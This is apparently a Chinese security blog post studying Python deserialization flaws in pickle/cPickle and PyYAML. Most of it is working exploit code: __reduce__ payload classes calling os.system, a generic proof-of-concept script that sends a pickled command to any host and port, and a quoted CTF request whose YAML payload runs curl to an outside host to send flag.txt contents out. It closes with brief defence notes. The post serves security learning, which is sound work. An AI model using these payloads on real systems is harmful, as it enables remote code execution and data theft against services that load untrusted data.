python反序列化研究学习

零、补充:

补充于2018-02-08,之前研究时候有一个疑惑,python的序列化成二进制,打web服务怎么传这个二进制对象呢,今天请教了身边大神(传说的九零后黑客代表),可以使用base64传输。

测试代码:

 1 #client.py
 2 import os
 3 import sys
 4 import base64
 5 import socket
 6 import cPickle
 7 
 8 #定义payload类型
 9 class payload(object):
10     def __init__(self,command):
11         self.__command = command
12     def __reduce__(self):
13         return (os.system,((self.__command),))
14 
15 #定义全局socket对象
16 sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
17 
18 #定义主函数,生成payload对象
19 if __name__ == "__main__":
20     #cmd = sys.argv[1]
21     #rip = sys.argv[2]
22     #pot = sys.argv[3]
23     cmd = "whoami"
24     rip = "127.0.0.1"
25     pot = 5222
26     payload_object = payload(cmd)
27     send_object = cPickle.dumps(payload_object)
28     sock.connect((rip,int(pot)))
29     send_object = base64.b64encode(send_object)
30     sock.send(send_object)
31 
32 #server.py
33 # -*- coding:utf-8 -*-
34 import socket
35 import os
36 import cPickle
37 import base64
38 
39 sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
40 sock.bind(("127.0.0.1",5222))
41 sock.listen(5)
42 con,addr = sock.accept()
43 ret = con.recv(1024)
44 ret = base64.b64decode(ret)
45 m = cPickle.loads(ret)

果然执行成功了,这样就解决了打击WEB服务的办法,base64字符串可以作为参数在request请求报文中传递了。

一、python的反序列化漏洞:

一个简单的小例子证明存在性:Python的反序列化漏洞,和java、php一样python的反序列化漏洞也非常严重!咱们举一个socket的远程远程简单的例子来尝试:

举例说明:

  client传送一个类对象序列化过去给server,server反序列化这个类对象。

client.py

 1 #serail.py
 2 # -*- coding:utf-8 -*-
 3 import os
 4 import socket
 5 import cPickle
 6 
 7 class Vuln(object):
 8     name = 1
 9     def __reduce__(self):
10         return (os.system,(('id'),))
11 
12 sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
13 sock.connect(("127.0.0.1",5222))
14 m = Vuln()
15 ret = cPickle.dumps(m)
16 sock.send(ret)
17 sock.close()

server.py

 1 #server.py
 2 # -*- coding:utf-8 -*-
 3 import socket
 4 import os
 5 import cPickle
 6 
 7 sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 8 sock.bind(("127.0.0.1",5222))
 9 sock.listen(5)
10 con,addr = sock.accept()
11 ret = con.recv(1024)
12 m = cPickle.loads(ret)

测试效果:

类似于cPickle和pickle的这种适合打一些TCP连接的:

这里写一个脚本作为一般poc

 1 # -*- coding:utf-8 -*-
 2 """
 3 这个脚本用来生成payload,并进行打击
 4 作者:陈然
 5 公司:360企业安全
 6 """
 7 #引入依赖包文件
 8 import os
 9 import sys
10 import socket
11 import cPickle
12 
13 #定义payload类型
14 class payload(object):
15     def __init__(self,command):
16         self.__command = command
17     def __reduce__(self):
18         return (os.system,((self.__command),))
19 
20 #定义全局socket对象
21 sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
22 
23 #定义主函数,生成payload对象
24 if __name__ == "__main__":
25     cmd = sys.argv[1]
26     rip = sys.argv[2]
27     pot = sys.argv[3]
28     payload_object = payload(cmd)
29     send_object = cPickle.dumps(payload_object)
30     sock.connect((rip,int(pot)))
31     sock.send(send_object)

二、HTTP中的python反序列化漏洞--PyYAML

1、这里要注意,对站点相关开发有要求:

(1)使用PyYAML这个库

(2)使用了yaml.load函数而不是yaml.safe_load函数

2、好了,来看函数吧:

(1):

我们需要知道危险的yaml标签是这个:!!python/object/apply 这个tag是罪魁祸首!

(2)这个tag的解析在yaml库的constructor.py文件中:

 然后我们来看对应的地方:就是这个函数construct_python_object_apply函数,关于类型的创建问题在这里:

跳转过去看下,这个地方有cls函数

而这里的cls函数取自find_python_name这个函数的返回值:

这个函数返回值是getattr的返回值

我们来做一个实验:

 1 import os
 2 
 3 class A(object):
 4     name = 1
 5     def __reduce__(self):
 6         os.system("whoami")
 7 
 8 a = A()
 9 func = getattr(a,"__reduce__")
10 print "func:",func
11 func()

实验结果:

这就是getattr返回给了cls,cls函数执行到了!!python/object/apply标签中的代码被执行。

3、攻击场景:

这种场景有可能在HTTP协议中见到:

看一个某我不认识的大神博客中的一个例子https://www.anquanke.com/post/id/86800

 1 '''
 2 POST / HTTP/1.1
 3 Host: ganon.39586ebba722e94b.ctf.land:8001
 4 User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
 5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 6 Accept-Language: en-US,en;q=0.5
 7 Accept-Encoding: gzip, deflate
 8 DNT: 1
 9 Referer: http://ganon.39586ebba722e94b.ctf.land:8001/
10 Connection: close
11 Content-Type: multipart/form-data; boundary=---------------------------200783363553063815533894329
12 Content-Length: 438
13  
14 -----------------------------200783363553063815533894329
15 Content-Disposition: form-data; name="file"; filename="test.yaml"
16 Content-Type: application/x-yaml
17  
18 ---
19 "goodbye": !!python/object/apply:os.system ["curl https://crowdshield.com/?`cat flag.txt`"]
20  
21 -----------------------------200783363553063815533894329
22 Content-Disposition: form-data; name="upload"
23  
24  
25 -----------------------------200783363553063815533894329--
26  
27  
28 </div>
29  
30   <div class="container main" >
31     <div>
32         <div class="col-md-12 main">
33            
34   <ul><li><code>goodbye</code> : <code>0</code></li></ul>
35            
36         </div>
37     </div>
38   </div>
39 '''

很显然,payload就是这个部分:"goodbye": !!python/object/apply:os.system ["curl https://crowdshield.com/?`cat flag.txt`"]

好了,关于Python的反序列化就笔记记录到这里。关于防御的话,只能说,对于Yaml的使用safe_load函数,对于pickle有大神考虑在pickle中下钩子,拦截住。但是目前对于cPickle还没有有效的防御办法。

原文地址:https://www.cnblogs.com/KevinGeorge/p/8424630.html